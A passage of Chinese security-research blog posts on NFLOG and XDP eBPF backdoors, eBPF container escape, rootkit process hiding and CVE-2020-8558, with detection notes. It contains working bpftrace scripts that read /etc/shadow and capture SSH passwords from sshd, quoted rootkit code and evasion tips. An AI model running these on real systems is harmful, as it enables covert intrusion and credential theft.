write(1, "12:27:16.575888 IP localhost.416"..., 16512:27:16.575888 IP localhost.41616 > localhost.http: Flags [S], seq 3517707840, win 43690, options [mss 65495,sackOK,TS val 1304864277 ecr 0,nop,wscale 7], length 0

tcpdump -i nflog:2333是基于AF_NETLINK获取数据

1
2
3
4
[root@instance-h9w7mlyv ~]# strace tcpdump -i nflog:2333
socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER) = 3
...
recvfrom(3,[{{len=184, type=NFNL_SUBSYS_ULOG<<8|NFULNL_MSG_PACKET, flags=0, seq=0, pid=0}, {nfgen_family=AF_INET, version=NFNETLINK_V0, res_id=htons(2333), [{{nla_len=8, nla_type=NFNETLINK_V1}, "\x08\x00\x01\x00"}, {{nla_len=5, nla_type=0xa}, "\x00"}, {{nla_len=8, nla_type=0x4}, "\x00\x00\x00\x02"}, {{nla_len=16, nla_type=0x8}, "\x00\x06\x00\x00\xfa\x16\x3e\xd1\x8d\x2d\x00\x00"}, {{nla_len=6, nla_type=0xf}, "\x00\x01"}, {{nla_len=6, nla_type=0x11}, "\x00\x0e"}, {{nla_len=18, nla_type=0x10}, "\xfa\x28\x00\x0d\x3f\xff\xfa\x16\x3e\xd1\x8d\x2d\x08\x00"}, {{nla_len=20, nla_type=0x3}, "\x00\x00\x00\x00\x63\x08\x57\x83\x00\x00\x00\x00\x00\x03\x49\x03"}, {{nla_len=68, nla_type=0x9}, "\x45\x00\x00\x40\x00\x00\x40\x00\x32\x06\x1e\xc0\x6f\xc5\xee\x1e\xac\x10\x20\x04\x5b\x41\xff\xfd\x5a\x0c\x47\xf0\x00\x00\x00\x00"...}]}, {{len=184, type=NFNL_SUBSYS_ULOG<<8|NFULNL_MSG_PACKET, flags=0, seq=0, pid=0}, {nfgen_family=AF_INET, version=NFNETLINK_V0, res_id=htons(2333), [{{nla_len=8, nla_type=NFNETLINK_V1}, "\x08\x00\x01\x00"}, {{nla_len=5, nla_type=0xa}, "\x00"}, {{nla_len=8, nla_type=0x4}, "\x00\x00\x00\x02"}, {{nla_len=16, nla_type=0x8}, "\x00\x06\x00\x00\xfa\x16\x3e\xd1\x8d\x2d\x00\x00"}, {{nla_len=6, nla_type=0xf}, "\x00\x01"}, {{nla_len=6, nla_type=0x11}, "\x00\x0e"}, {{nla_len=18, nla_type=0x10}, "\xfa\x28\x00\x0d\x3f\xff\xfa\x16\x3e\xd1\x8d\x2d\x08\x00"}, {{nla_len=20, nla_type=0x3}, "\x00\x00\x00\x00\x63\x08\x57\x84\x00\x00\x00\x00\x00\x03\x4b\x6c"}, {{nla_len=68, nla_type=0x9}, "\x45\x00\x00\x40\x00\x00\x40\x00\x32\x06\x1e\xc0\x6f\xc5\xee\x1e\xac\x10\x20\x04\x5b\x41\xff\xfd\x5a\x0c\x47\xf0\x00\x00\x00\x00"...}]}, {{len=20, type=NLMSG_DONE, flags=0, seq=0, pid=0}, 0}], 262272, 0, NULL, NULL) = 388

不知道为什么实现监听流量时,厂家选择了基于NFLOG而不是AF_PACKET来做。

而在实现后门中,我们也可以用NFLOG作为被控端和主控端的通信方式,下面来看一下它有什么好处。

利用NFLOG做后门有什么好处

就像在 聊一聊基于”ebpf xdp”的rootkit 中我看到的: “rootkit用xdp ebpf和bpf技术都是为了通信时不监听端口,从而在网络行为上隐藏痕迹”。同样NFLOG也可以达到这个目的,甚至使用NFLOG相对于基于AF_PACKET的bpf后门从网络行为上看更隐蔽一点。为什么这么说呢?

举个例子,chkrootkit反入侵工具会通过/proc/net/packet检查哪些进程创建了PF_PACKET类型socket,因此可以发现bpf后门痕迹。

1
2
3
4
[root@instance-h9w7mlyv tmp]# gcc ifpromisc.c
[root@instance-h9w7mlyv tmp]# ./a.out
eth0: PF_PACKET(/usr/decoy/decoysvc, /usr/sbin/NetworkManager)
docker0: PF_PACKET(/usr/sbin/NetworkManager)

AF_PACKET 和 PF_PACKET 同义

chkrootkit目前就不会检查NFLOG后门。虽然从/proc/net/netlink也可以看到哪些进程创建了AF_NETLINK类型socket,但是系统上正常进程也会创建很多AF_NETLINK类型socket,比如我在centos8虚机上看到有30多个记录。

1
2
[root@instance-h9w7mlyv tmp]# cat /proc/net/netlink | wc -l
32

聊一聊chkrookit的误信和误用 文章提到chkrootkit会扫描PF_PACKET

利用NFLOG也应该比较稳定。为什么我这么认为呢?

一种HTTP隧道内核态远控的实现方法 文中提到一个思路: 在内核态基于netfilter实现一个可回显的后门。

NFLOG有现成的lib库做用户态编程,相比于内核编程,我想用户态程序应该更稳定、适配性更好吧。

另外,iptables还提供了一个和NFLOG类似的扩展NFQUEUEman iptables-extensions文档提到NFQUEUE可以修改数据包。所以是不是可以用NFQUEUE在用户态基于netfilter实现一个可回显的后门呢?

NFQUEUE后门demo

我基于libnetfilter_queue写了一个后门demo

代码我放在了 https://gist.github.com/leveryd/f70bd0adbf8088446d98ec11ef16f478

运行效果如下

因为我懒,所以这个后门没有实现回显。

总结

NFLOG在蜜罐、后门实现时都可以用到。

实现后门时,它的优点包括通信较为隐蔽、稳定、可回显。

背景

全流量入侵检测系统的性能分析 中提到”包解析需要高性能”这个需求场景,和 pf_ring、dpdk 类似,xdp也是一种经常被讨论的高性能包处理技术。

lkm和ebpf rootkit分析的简要记录 中提到一个基于ebpf实现的rootkit boopkit。这个后门通信部分当前是基于libpcap,还有一个未公开的xdp实现。

因此我感觉xdp在网络编程、网络安全上都能应用上,值得研究。于是我从实现”xdp ebpf后门”来学习xdp。

本文主要记录以下内容,希望对主机安全有兴趣的读者有点帮助。内容包括:

  • xdp ebpf后门相比于 bpf 后门的优点
  • xdp后门demo
  • demo编写时的关键点
  • 检测角度来看,xdp后门的特征

关于ebpf和xdp的背景知识你可以参考 Linux网络新技术基石 |​eBPF and XDP

xdp ebpf后门和bpf后门对比

已经有了bpf后门,为什么还有人要研究xdp ebpf后门呢?

在实现后门时,xdp ebpf和bpf技术都是为了获取数据包,可以做到不需要监听端口、客户端可以向服务端做单向通信。它俩的区别在于,xdp ebpf后门比bpf后门更加隐蔽,在主机上用tcpdump可以抓取bpf后门流量,但无法抓取xdp ebpf后门流量。

为什么会这样呢?

bpfdoorboopkit 等bpf后门都是基于af_packet抓包、bpf filter过滤包,它工作在链路层。

关于bpfdoor的分析可以参考 BPFDoor - An Evasive Linux Backdoor Technical Analysis

xdp有三种工作模式,不论哪一种模式,在接收数据包时都比bpf后门要早。

tcpdump这种抓包工具的原理和bpf后门是一样的,也是工作在链路层。所以网卡接收到数据包后,会先经过xdp ebpf后门,然后分别经过bpf后门和tcpdump。

如果xdp ebpf后门在接收到恶意指令后把数据包丢掉,tcpdump就抓不到数据包。

xdp后门demo

demo的源码我放到了github上:https://github.com/leveryd/ebpf-app/tree/master/xdp_udp_backdoor

最终实现了的后门demo效果如下, 控制端通过udp协议和被控端单向通信,被控端从通信流量中提取出payload后执行命令。

image

  • 通信数据格式是:| eth header | ip header | udp header | MAGIC_START command MAGIC_END |
  • 被控端(xdp程序)提取udp数据后,通过BPF_MAP_TYPE_ARRAY类型的map将udp数据传给用户态程序
  • 用户态程序执行system(command)执行系统命令后,清理map数据

关于xdp编程的基本概念,我就不复述网络上已有的内容了。如果你和我一样是ebpf xdp新手,我推荐你看 Get started with XDP 这篇入门文章。另外代码注释中的参考文章也不错。

在实现demo、加载xdp程序时,我遇到过两个报错。如果你也遇到,就可以参考我的解决办法。

第一个报错如下

1
2
3
4
5
6
root@08363214ec12:/mnt# ip link set eth0 xdpgeneric obj xdp_udp_backdoor_bpf.o sec xdp_backdoor

BTF debug data section '.BTF' rejected: Invalid argument (22)!
- Length: 741
Verifier analysis:
...

这个报错的原因是某些ip命令不支持btf。如果你想要解决这个报错,有两种方式,一是centos系统上可以用xdp-loader工具替代ip命令加载xdp程序,二是基于libbpf库的bpf_set_link_xdp_fd接口编程实现加载xdp程序,就像demo中那样。

第二个报错如下,提示 BPF程序指令过多,超过1000000条的限制。

1
2
3
4
5
6
7
8
9
10
11
12
[root@instance-h9w7mlyv xdp_backdoor]# make load
[root@instance-h9w7mlyv xdp_backdoor]# make load
clang -O2 -g -Wall -target bpf -c xdp_udp_backdoor.bpf.c -o xdp_udp_backdoor_bpf.o
ip link set eth0 xdpgeneric off
ip link set eth0 xdpgeneric obj xdp_udp_backdoor_bpf.o sec xdp_backdoor
...
BPF program is too large. Processed 1000001 insn
processed 1000001 insns (limit 1000000) max_states_per_insn 18 total_states 18267 peak_states 4070 mark_read 5

libbpf: -- END LOG --
libbpf: failed to load program 'xdp_func'
libbpf: failed to load object 'xdp_udp_backdoor_bpf.o'

这个报错的原因是在加载ebpf程序时,会经过内核中ebpf Verification的校验,其中它会检查是否有ebpf程序是否可能出现死循环。

下面代码编译后的ebpf程序就会检查失败,出现上面的报错信息

1
2
3
4
5
6
7
8
9
10
11
12
void mystrncpy(char *dest, const char *src, size_t count)
{
char *tmp = dest;

// #pragma clang loop unroll(full)
while (count) {
if ((*tmp = *src) != 0)
src++;
tmp++;
count--;
}
}

可以尝试使用#pragma clang loop unroll(full)告诉编译器编译时对循环做展开,来解决这个报错问题。

这个解决办法是在 https://rexrock.github.io/post/ebpf1/ 文中看到的

检测:xdp后门的特征

bpftool prog能看到xdp程序信息、bpftool map能看到xdp程序和应用程序通信用到的map信息

应用程序文件描述符中也有map id信息

应用程序想要执行命令时也会有一些特征,比如demo中使用system执行系统命令时,会有fork系统调用。

应用程序如果想要将命令结果回传、或者反弹shell,主机上也能抓到这一部分流量。

总结

xdp概念、xdp编程的知识都在参考链接中,本文非常粗浅地分析一点xdp后门的优点和检测方式,希望能对你有点帮助。

在搞完这个demo后,我才发现有一个看起来很完善的xdp后门TripleCross

在研究ebpf和主机安全中,还参考学习美团工程师CFC4N博客上的内容。

背景

Container escape in 2021云原生安全攻防|使用eBPF逃逸容器技术分析与实践 都提到了基于ebpf的容器逃逸。

本文简要记录自己对这两篇文章的学习、复现,并给出一个demo,希望对主机安全有兴趣的读者有点帮助。

快速验证”可以用ebpf在容器中读宿主机文件”

Container escape in 2021 有一页PPT

你也可以输入以下命令,来复现上面”在容器中观测到宿主机文件内容”的效果

1
2
3
4
5
[root@instance-h9w7mlyv ~]# docker run -it --cap-add sys_admin --cap-add sys_resource quay.io/iovisor/bpftrace:latest bash
root@6a6339858e9a:/# mount -t debugfs none /sys/kernel/debug
root@6a6339858e9a:/# export BPFTRACE_STRLEN=200 // https://github.com/iovisor/bpftrace/blob/master/docs/reference_guide.md#91-bpftrace_strlen
root@6a6339858e9a:/# bpftrace -e 'kretfunc:vfs_read /comm=="cat"/ {printf("%s,%d\n",str(uptr(args->buf),retval),retval);}'
Attaching 1 probe...

bpftrace可以参考官方文档

上面是根据命令名来过滤,查看特定命令读取的文件内容。你也可以根据文件名来过滤。

比如输入以下命令

1
2
3
4
5
[root@instance-h9w7mlyv tmp]# docker run -it -v /tmp:/tmp --cap-add sys_admin --cap-add sys_resource quay.io/iovisor/bpftrace:latest bash
root@b0e60d8c7219:/# mount -t debugfs none /sys/kernel/debug
root@b0e60d8c7219:/# export BPFTRACE_STRLEN=150
root@b0e60d8c7219:/# bpftrace /tmp/1.bt
Attaching 9 probes...

1.bt 代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
BEGIN
{
printf("Tracing file content... Hit Ctrl-C to end.\n");
}

tracepoint:syscalls:sys_enter_open,
tracepoint:syscalls:sys_enter_openat
/ strncmp(str(args->filename), "/etc/shadow", 11) == 0 / // 待观测的文件路径
{
@filename[tid] = args->filename;
}

tracepoint:syscalls:sys_exit_open,
tracepoint:syscalls:sys_exit_openat
/@filename[tid]/
{
$ret = args->ret;
$fd = $ret > 0 ? $ret : -1;

@fd_filenmae_map[tid, $fd] = @filename[tid];
}

tracepoint:syscalls:sys_enter_read
/@fd_filenmae_map[tid, args->fd]/
{
@read_buf[tid] = args->buf;
}

tracepoint:syscalls:sys_exit_read
/@read_buf[tid]/
{
printf("filename:%s, content:%s\n", str(@filename[tid]), str(uptr(@read_buf[tid])))
}

tracepoint:syscalls:sys_enter_close
/@fd_filenmae_map[tid, args->fd]/
{
delete(@filename[tid]);
delete(@fd_filenmae_map[tid, args->fd]);
delete(@read_buf[tid]);
}

END
{
clear(@filename);
clear(@fd_filenmae_map);
clear(@read_buf);
}

验证”获取用户密码”

sshd write系统调用中会有ssh密码信息,如下

所以,你可以在容器中用 ‘tracepoint:syscalls:sys_enter_write’ 来获取ssh密码。

1
2
3
4
5
bpftrace -e 'tracepoint:syscalls:sys_enter_write /comm=="sshd"/ {
if (args->fd == 6){
printf("%s\n",str(args->buf+4)); // 前四个字节是0
}
}'

我测试的ssh是OpenSSH_8.0p1,可能你的ssh发行版和我不同,并不一定通过hook write系统调用来获取用户密码。

总结

基于ebpf做容器逃逸时,重点是需要知道hook哪个函数。

比如 内核态eBPF程序实现容器逃逸与隐藏账号rootkit 文章中是hook哪个函数呢?

另一个重点是”ebpf怎么修改数据”。前面的两个例子都只用bpftrace观测数据,而没有修改args->buf中的数据。

云原生安全攻防|使用eBPF逃逸容器技术分析与实践lkm和ebpf rootkit分析的简要记录 的例子中都涉及到”ebpf修改数据”。

bpftrace目前只有override()能修改部分kprobes的返回值,所以下一篇我会用libbpf演示”ebpf修改数据能造成什么效果”。

背景

再次捕获云上在野容器攻击,TeamTNT黑产攻击方法揭秘 文章中提到一个内核rootkit-Diamorphine

新型eBPF后门boopkit的原理分析与演示 也提到基于ebpf的rootkit

本文简要分析这两个rootkit在”进程隐藏”上实现的区别。

特别因为是eBPF只能通过“helper functions”调用内核能力,而不能直接调用内核函数、修改内核数据结构,所以我好奇eBPF后门怎么实现”进程隐藏”。

lkm rootkit是怎么隐藏进程的

通过修改__sys_call_table,hook了kill、getdents64系统调用。

用户在调用kill系统调用时,rootkit在收到信号”SIGMODINVIS”(头文件中可以看到是31)后,就会执行两步:

  • for_each_process找到进程task_struct
  • 修改task_struct的flags
1
2
3
4
5
6
7
8
9
10
11
// diamorphine.c
hacked_kill(pid_t pid, int sig)
{
...
struct task_struct *task;
switch (sig) {
case SIGINVIS:
if ((task = find_task(pid)) == NULL) // 根据pid找到task_struct实例
return -ESRCH;
task->flags ^= PF_INVISIBLE;
break;

用户在getdents64系统调用查看目录信息时,rootkit会修改返回给用户的目录信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
hacked_getdents64(unsigned int fd, struct linux_dirent64 __user *dirent,
unsigned int count)
{
int ret = orig_getdents64(fd, dirent, count), err; // 调用原先的getdents64函数
...

kdirent = kzalloc(ret, GFP_KERNEL); // 申请ret大小的内核内存
...

err = copy_from_user(kdirent, dirent, ret); // 将"目录信息"复制一份
...

while (off < ret) {
dir = (void *)kdirent + off;
if ((!proc &&
(memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0)) // 文件以MAGIC_PREFIX开头
|| (proc &&
is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) { // /proc/${pid} 被标记成需要隐藏
...
}

...
err = copy_to_user(dirent, kdirent, ret); // 将修改后的"目录信息"复制给用户

测试后,就会发现rootkit会影响/proc目录中是否可以看到进程目录。

image

实际上是rootkit影响了getdents64系统调用的结果
image

ps命令也是读/proc目录来获取进程信息的,所以rootkit影响ps命令结果
image

所以这个lkm rootkit是通过修改task_struct的flags字段来给进程打个标记,等getdents64时会根据标记判断是不是要修改目录信息。

eBPF程序不能直接修改内核数据,那eBPF后门是怎么做”进程隐藏”的呢?

ebpf rootkit是怎么隐藏进程的

getdents64系统调用可以用来获取目录信息,man 2 getdents可以知道第二个指针参数指向”目录条目”buffer

1
2
int getdents64(unsigned int fd, struct linux_dirent64 *dirp,
unsigned int count);

“目录条目”数据结构如下,因为有”柔性数组”,所以用d_reclen记录了大小,这样就可以在”目录条目”buffer中定位到下一个”目录条目”。

1
2
3
4
5
6
7
struct linux_dirent64 {
ino64_t d_ino; /* 64-bit inode number */
off64_t d_off; /* 64-bit offset to next structure */
unsigned short d_reclen; /* Size of this dirent */ 当前"目录条目"的大小
unsigned char d_type; /* File type */
char d_name[]; /* Filename (null-terminated) */ 柔性数组
};

pr0be.safe.c 注释写得很清楚,通过增大”目标进程所属的目录条目的前一个目录条目”的d_reclen值,使得用户程序在遍历*dirp结果时,就会跳过”目标进程所属的目录条目”。

1
2
3
4
5
6
7
8
9
10
11
SEC("tp/syscalls/sys_exit_getdents64")
int handle_getdents_patch(struct trace_event_raw_sys_exit *ctx) {
...
// Unlink target, by reading in previous linux_dirent64 struct,
// and setting it's d_reclen to cover itself and our target.
// This will make the program skip over our folder.
...
// Attempt to overwrite
short unsigned int d_reclen_new = d_reclen_previous + d_reclen;
long ret = bpf_probe_write_user(&dirp_previous->d_reclen, &d_reclen_new,
sizeof(d_reclen_new));

因为&dirp_previous->d_reclen是用户空间地址,而不是内核空间地址,所以ebpf可以用bpf_probe_write_user helper functions 修改dirp地址中的数据。

总结

案例中的lkm rootkit和ebpf rootkit都是通过修改getdents64系统调用中dirp地址指向的内容,使得查看/proc目录信息时,看不到进程信息。

根据帖子知道,想利用ebpf修改系统调用的参数值或返回值有很大的限制。因为dirp是一个用户空间地址,所以ebpf程序可以用bpf_probe_write_user修改此地址的内容。

背景

假设机器A和机器B在同一个局域网,机器A使用nc -l 127.0.0.1 8888,在机器B上可以访问机器A上”仅绑定在127.0.0.1的服务”吗?

1
2
3
4
[root@instance-h9w7mlyv ~]# nc -l 127.0.0.1 8888 &
[1] 44283
[root@instance-h9w7mlyv ~]# netstat -antp|grep 8888
tcp 0 0 127.0.0.1:8888 0.0.0.0:* LISTEN 44283/nc

nc用法可能不同,有的使用 nc -l 127.0.0.1 -p 8888 监听8888端口

kubernetes的kube-proxy组件之前披露过CVE-2020-8558漏洞,这个漏洞就可以让”容器内的恶意用户、同一局域网其他机器”访问到node节点上”仅绑定在127.0.0.1的服务”。这样有可能访问到监听在本地的”kubernetes无需认证的apiserver”,进而控制集群。

本文会带你做两种网络环境(vpc和docker网桥模式)下的漏洞原理分析,并复现漏洞。

漏洞分析

怎么复现?

先说最终结果,我已经做好基于terraform漏洞靶场

terraform可以基于声明式api编排云上的基础设施(虚拟机、网络等)

你也可以按照文章后面的步骤来复现漏洞。

为什么可以访问其他节点的”仅绑定在127.0.0.1的服务”?

假设实验环境是,一个局域网内有两个节点A和B、交换机,ip地址分别是ip_a和ip_b,mac地址分别是mac_a和mac_b。

来看看A机器访问B机器时的一个攻击场景。

如果在tcp握手时,A机器构造一个”恶意的syn包”,数据包信息是:

源ip 源mac 目的ip 目的mac 目的端口 源端口
ip_a mac_a 127.0.0.1 mac_b 8888 44444(某个随机端口)

此时如果交换机只是根据mac地址做数据转发,它就将syn包发送给B。

syn包的数据流向是:A -> 交换机 -> B

B机器网卡在接收到syn包后:

  • 链路层:发现目的mac是自己,于是扔给网络层处理
  • 网络层:发现ip是本机网卡ip,看来要给传输层处理,而不是转发
  • 传输层:发现当前”网络命名空间”确实有服务监听 127.0.0.1:8888, 和 “目的ip:目的端口” 可以匹配上,于是准备回复syn-ack包

从”内核协议栈”角度看,发送包会经过”传输层、网络层、链路层、设备驱动”,接受包刚好相反,会经过”设备驱动、链路层、网络层、传输层”

syn-ack数据包信息是:

源ip 源mac 目的ip 目的mac 目的端口 源端口
127.0.0.1 mac_b ip_a mac_a 44444(某个随机端口) 8888

syn-ack包的数据流向是:B -> 交换机 -> A

A机器网卡在收到syn-ack包后,也会走一遍”内核协议栈”的流程,然后发送ack包,完成tcp握手。

这样A就能访问到B机器上”仅绑定在127.0.0.1的服务”。所以,在局域网内,恶意节点”似乎”很容易就能访问到其他节点的”仅绑定在127.0.0.1的服务”。

但实际上,A访问到B机器上”仅绑定在127.0.0.1的服务”会因为两大类原因失败:

  • 交换机有做检查,比如它不允许数据包的目的ip地址是127.0.0.1,这样第一个syn包就不会转发给B,tcp握手会失败。公有云厂商的交换机(比如ovs)应该就有类似检查,所以我在某个公有云厂商vpc网络环境下测试,无法成功复现漏洞。
  • 数据包到了主机,但是因为ip是127.0.0.1,很特殊,所以”内核协议栈”为了安全把包丢掉了。

所以不能在云vpc环境下实验,于是我选择了复现”容器访问宿主机上的仅绑定在127.0.0.1的服务”。

先来看一下,”内核协议栈”为了防止恶意访问”仅绑定在127.0.0.1的服务”都做了哪些限制。

“内核协议栈”做了哪些限制?

先说结论,下面三个内核参数都会影响

  • route_localnet
  • rp_filter
  • accept_local

以docker网桥模式为例,想要在docker容器中访问到宿主机的”仅绑定在127.0.0.1的服务”,就需要:

  • 宿主机上 route_localnet=1
  • docker容器中 rp_filter=0、accept_local=1、route_localnet=1

宿主机网络命名空间中

1
2
3
4
[root@instance-h9w7mlyv ~]# sysctl -a|grep route_localnet
net.ipv4.conf.all.route_localnet = 1
net.ipv4.conf.default.route_localnet = 1
...

容器网络命名空间中

1
2
3
4
5
6
7
8
9
[root@instance-h9w7mlyv ~]# sysctl -a|grep accept_local
net.ipv4.conf.all.accept_local = 1
net.ipv4.conf.default.accept_local = 1
net.ipv4.conf.eth0.accept_local = 1
[root@instance-h9w7mlyv ~]# sysctl -a|grep '\.rp_filter'
net.ipv4.conf.all.rp_filter = 0
net.ipv4.conf.default.rp_filter = 0
net.ipv4.conf.eth0.rp_filter = 0
...

容器中和宿主机中因为是不同的网络命名空间,所以关于网络的内核参数是隔离的,并一定相同。

route_localnet配置

是什么?

内核文档提到route_localnet参数,如果route_localnet等于0,当收到源ip或者目的ip是”loopback地址”(127.0.0.0/8)时,就会认为是非法数据包,将数据包丢弃。

宿主机上curl 127.0.0.1时,源ip和目的都是127.0.0.1,此时网络能正常通信,说明数据包并没有被丢弃。说明这种情景下,没有调用到 ip_route_input_noref 函数查找路由表。

CVE-2020-8558漏洞中,kube-proxy设置route_localnet=1,导致关闭了上面所说的检查。

内核协议栈中哪里用route_localnet配置来检查?

https://elixir.bootlin.com/linux/v4.18/source/net/ipv4/route.c#L1912

ip_route_input_slow 函数中用到 route_localnet配置,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/*
* NOTE. We drop all the packets that has local source
* addresses, because every properly looped back packet
* must have correct destination already attached by output routine.
*
* Such approach solves two big problems:
* 1. Not simplex devices are handled properly.
* 2. IP spoofing attempts are filtered with 100% of guarantee.
* called with rcu_read_lock()
*/

static int ip_route_input_slow(struct sk_buff *skb, __be32 daddr, __be32 saddr,
u8 tos, struct net_device *dev,
struct fib_result *res)
{
...
/* Following code try to avoid calling IN_DEV_NET_ROUTE_LOCALNET(),
* and call it once if daddr or/and saddr are loopback addresses
*/
if (ipv4_is_loopback(daddr)) { // 目的地址是否"loopback地址"
if (!IN_DEV_NET_ROUTE_LOCALNET(in_dev, net)) // localnet配置是否开启。net是网络命名空间,in_dev是接收数据包设备配置信息
goto martian_destination; // 认为是非法数据包
} else if (ipv4_is_loopback(saddr)) { // 源地址是否"loopback地址"
if (!IN_DEV_NET_ROUTE_LOCALNET(in_dev, net))
goto martian_source; // 认为是非法数据包
}
...
err = fib_lookup(net, &fl4, res, 0); // 查找"路由表",res存放查找结果
...
if (res->type == RTN_BROADCAST)
...
if (res->type == RTN_LOCAL) { // 数据包应该本机处理
err = fib_validate_source(skb, saddr, daddr, tos,
0, dev, in_dev, &itag); // "反向查找", 验证源地址是否有问题
if (err < 0)
goto martian_source;
goto local_input; // 本机处理
}
if (!IN_DEV_FORWARD(in_dev)) { // 没有开启ip_forward配置时,认为不支持 转发数据包
err = -EHOSTUNREACH;
goto no_route;
}
...
err = ip_mkroute_input(skb, res, in_dev, daddr, saddr, tos, flkeys); // 认为此包需要"转发"
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static int ip_rcv_finish(struct net *net, struct sock *sk, struct sk_buff *skb)
{
...

/*
* Initialise the virtual path cache for the packet. It describes
* how the packet travels inside Linux networking.
*/
if (!skb_valid_dst(skb)) { // 是否有路由缓存. 宿主机curl 127.0.0.1时,就有缓存,不用查找路由表。
err = ip_route_input_noref(skb, iph->daddr, iph->saddr,
iph->tos, dev); // 查找路由表
if (unlikely(err))
goto drop_error;
}
...
return dst_input(skb); // 将数据包交给tcp层(ip_local_deliver) 或 转发数据包(ip_forward)

在收到数据包时,从ip层来看,数据包会经过 ip_rcv(ip层入口函数) -> ip_rcv_finish -> ip_route_input_slow。

在ip_route_input_slow函数中可以看到,如果源ip或者目的ip是”loopback地址”,并且接收数据包的设备没有配置route_localnet选项时,就会认为是非法数据包。

rp_filter和accept_local

是什么?

内核网络参数详解 提到,rp_filter=1时,会严格验证源ip。

怎么检查源ip呢?就是收到数据包后,将源ip和目的ip对调,然后再查找路由表,找到会用哪个设备回包。如果”回包的设备”和”收到数据包的设备”不一致,就有可能校验失败。这个也就是后面说的”反向检查”。

内核协议栈中哪里用rp_filter和accept_local配置来检查?

上面提到 收到数据包时,从ip层来看,会执行 ip_route_input_slow 函数查找路由表。

ip_route_input_slow 函数会执行 fib_validate_source 函数执行 “验证源ip”,会使用到rp_filter和accept_local配置

https://elixir.bootlin.com/linux/v4.18/source/net/ipv4/fib_frontend.c#L412

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/* Ignore rp_filter for packets protected by IPsec. */
int fib_validate_source(struct sk_buff *skb, __be32 src, __be32 dst,
u8 tos, int oif, struct net_device *dev,
struct in_device *idev, u32 *itag)
{
int r = secpath_exists(skb) ? 0 : IN_DEV_RPFILTER(idev); // r=rp_filter配置
struct net *net = dev_net(dev);

if (!r && !fib_num_tclassid_users(net) &&
(dev->ifindex != oif || !IN_DEV_TX_REDIRECTS(idev))) { // dev->ifindex != oif 表示 不是lo虚拟网卡接收到包
if (IN_DEV_ACCEPT_LOCAL(idev)) // accept_local配置是否打开。idev是接受数据包的网卡配置
goto ok;
/* with custom local routes in place, checking local addresses
* only will be too optimistic, with custom rules, checking
* local addresses only can be too strict, e.g. due to vrf
*/
if (net->ipv4.fib_has_custom_local_routes ||
fib4_has_custom_rules(net)) // 检查"网络命名空间"中是否有自定义的"策略路由"
goto full_check;
if (inet_lookup_ifaddr_rcu(net, src)) // 检查"网络命名空间"中是否有设备的ip和源ip(src值)相同
return -EINVAL;

ok:
*itag = 0;
return 0;
}

full_check:
return __fib_validate_source(skb, src, dst, tos, oif, dev, r, idev, itag); // __fib_validate_source中会执行"反向检查源ip"
}

当在容器中curl 127.0.0.1 --interface eth0时,有一些结论:

  • 宿主机收到请求包时,无论 accept_local和rp_filter是啥值,都通过fib_validate_source检查
  • 容器中收到请求包时,必须要设置 accept_local=1、rp_filter=0,才能不被”反向检查源ip”

如果容器中 accept_local=1、rp_filter=0 有一个条件不成立,就会发生丢包。这个时候如果你在容器网络命名空间用tcpdump -i eth0 'port 8888' -n -e观察,就会发现诡异的现象:容器接收到了syn-ack包,但是没有回第三个ack握手包。如下图
img

小技巧:nsenter -n -t 容器进程pid 可以进入到容器网络空间,接着就可以tcpdump抓”容器网络中的包”

docker网桥模式下复现漏洞

docker网桥模式下漏洞原理是什么?

借用网络上的一张图来说明docker网桥模式
img

在容器内curl 127.0.0.1:8888 --interface eth0时,发送第一个syn包时,在网络层查找路由表

1
2
3
[root@instance-h9w7mlyv ~]# ip route show
default via 172.17.0.1 dev eth0
172.17.0.0/16 dev eth0 proto kernel scope link src 172.17.0.3

因此会走默认网关(172.17.0.1),在链路层就会找网关的mac地址

1
2
[root@instance-h9w7mlyv ~]# arp -a|grep 172.17.0.1
_gateway (172.17.0.1) at 02:42:af:2e:cd:ae [ether] on eth0

实际上02:42:af:2e:cd:ae就是docker0网桥的mac地址,所以网关就是docker0网桥

1
2
3
4
5
6
[root@instance-h9w7mlyv ~]# ifconfig docker0
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
...
ether 02:42:af:2e:cd:ae txqueuelen 0 (Ethernet)
...

因此第一个syn包信息是

源ip 目的ip 源mac 目的mac 源端口 目的端口
容器eth0 ip 127.0.0.1 容器eth0 mac docker0 mac 4444(随机端口) 8888

syn包数据包数据流向是 容器内eth0 -> veth -> docker0。

veth设备作为docker0网桥的”从设备”,接收到syn包后直接转发,不会调用到”内核协议栈”的网络层。

docker0网桥设备收到syn包后,在”内核协议栈”的链路层,看到目的mac是自己,就把包扔给网络层处理。在网络层查路由表,看到目的ip是本机ip,就将包扔给传输层处理。在传输层看到访问”127.0.0.1:8888”,就会查看是不是有服务监听在”127.0.0.1:8888”。

怎么复现?

从上面分析可以看出来,需要将宿主机docker0网桥设备route_localnet设置成1。

宿主机docker0网桥设备需要设置rp_filter和accept_local选项吗?答案是不需要,因为docker0网桥设备在收到数据包在网络层做”反向检查源地址”时,会知道”响应数据包”也从docker0网桥发送。”发送和接收数据包的设备”是匹配的,所以能通过”反向检查源地址”的校验。

容器中eth0网卡需要设置rp_filter=0、accept_local=1、localnet=1。为什么容器中eth0网卡需要设置rp_filter和accept_local选项呢?因为eth0网桥设备如果做”反向检查源地址”,就会知道响应包应该从lo网卡发送。”接收到数据包的设备是eth0网卡”,而”发送数据包的设备应该是lo网卡”,两个设备不匹配,”反向检查”就会失败。rp_filter=0、accept_local=1可以避免做”反向检查源地址”。

即使ifconfig lo down,ip route show table local仍能看到local表中有回环地址的路由。

下面你可以跟着我来用docker复现漏洞。

首先在宿主机上打开route_localnet配置

1
[root@instance-h9w7mlyv ~]# sysctl -w net.ipv4.conf.all.route_localnet=1

